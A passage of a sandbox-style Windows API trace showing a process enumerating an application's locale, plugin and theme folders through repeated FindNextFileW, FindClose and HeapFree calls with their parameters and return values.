	[0186.223] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.223] FindNextFileW (in: hFindFile=0x4142998, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1
	[0186.223] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.223] FindNextFileW (in: hFindFile=0x4142998, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0186.223] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.223] FindNextFileW (in: hFindFile=0x4142998, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0186.224] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.224] FindNextFileW (in: hFindFile=0x4142998, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1
	[0186.224] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.224] FindNextFileW (in: hFindFile=0x4142998, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1
	[0186.224] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.224] FindNextFileW (in: hFindFile=0x4142998, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1
	[0186.224] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.225] FindNextFileW (in: hFindFile=0x4142998, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1
	[0186.225] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.225] FindNextFileW (in: hFindFile=0x4142998, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1
	[0186.225] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.225] FindNextFileW (in: hFindFile=0x4142998, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0186.225] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.225] FindNextFileW (in: hFindFile=0x4142998, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1
	[0186.226] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.226] FindNextFileW (in: hFindFile=0x4142998, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0186.226] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.226] FindNextFileW (in: hFindFile=0x4142998, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0186.226] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.226] FindNextFileW (in: hFindFile=0x4142998, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1
	[0186.226] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.226] FindNextFileW (in: hFindFile=0x4142998, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0186.227] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.227] FindNextFileW (in: hFindFile=0x4142998, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1
	[0186.227] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.227] FindNextFileW (in: hFindFile=0x4142998, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0186.227] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.227] FindNextFileW (in: hFindFile=0x4142998, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1
	[0186.228] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.228] FindNextFileW (in: hFindFile=0x4142998, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1
	[0186.228] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.228] FindNextFileW (in: hFindFile=0x4142998, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1
	[0186.228] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.228] FindNextFileW (in: hFindFile=0x4142998, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1
	[0186.228] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.229] FindNextFileW (in: hFindFile=0x4142998, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0186.229] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.229] FindNextFileW (in: hFindFile=0x4142998, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1
	[0186.229] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.229] FindNextFileW (in: hFindFile=0x4142998, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0186.229] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.229] FindNextFileW (in: hFindFile=0x4142998, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1
	[0186.230] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.230] FindNextFileW (in: hFindFile=0x4142998, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1
	[0186.230] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.230] FindNextFileW (in: hFindFile=0x4142998, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0
	[0186.230] FindClose (in: hFindFile=0x4142998 | out: hFindFile=0x4142998) returned 1
	[0186.230] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f22068 | out: hHeap=0x710000) returned 1
	[0186.230] FindNextFileW (in: hFindFile=0x4142c58, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x38d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1
	[0186.231] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.231] FindNextFileW (in: hFindFile=0x4142c98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 0
	[0186.231] FindClose (in: hFindFile=0x4142c98 | out: hFindFile=0x4142c98) returned 1
	[0186.231] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f22068 | out: hHeap=0x710000) returned 1
	[0186.231] FindNextFileW (in: hFindFile=0x4142c58, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 0
	[0186.231] FindClose (in: hFindFile=0x4142c58 | out: hFindFile=0x4142c58) returned 1
	[0186.231] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x787798 | out: hHeap=0x710000) returned 1
	[0186.231] FindNextFileW (in: hFindFile=0x4142858, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0186.231] FindClose (in: hFindFile=0x4142858 | out: hFindFile=0x4142858) returned 1
	[0186.231] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f00050 | out: hHeap=0x710000) returned 1
	[0186.231] FindNextFileW (in: hFindFile=0x4142e58, lpFindFileData=0x2fae69c | out: lpFindFileData=0x2fae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="exportpdfupsell-app", cAlternateFileName="EXPORT~1")) returned 1
	[0186.232] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x787798 | out: hHeap=0x710000) returned 1
	[0186.232] FindNextFileW (in: hFindFile=0x4142f58, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1
	[0186.403] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.403] FindNextFileW (in: hFindFile=0x4142998, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0
	[0186.403] FindClose (in: hFindFile=0x4142998 | out: hFindFile=0x4142998) returned 1
	[0186.403] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f22068 | out: hHeap=0x710000) returned 1
	[0186.403] FindNextFileW (in: hFindFile=0x4142a98, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0
	[0186.403] FindClose (in: hFindFile=0x4142a98 | out: hFindFile=0x4142a98) returned 1
	[0186.403] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x787798 | out: hHeap=0x710000) returned 1
	[0186.403] FindNextFileW (in: hFindFile=0x4142f58, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0186.406] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.406] FindNextFileW (in: hFindFile=0x4142fd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1
	[0186.407] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.407] FindNextFileW (in: hFindFile=0x4142fd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1
	[0186.408] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.408] FindNextFileW (in: hFindFile=0x4142fd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1
	[0186.408] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
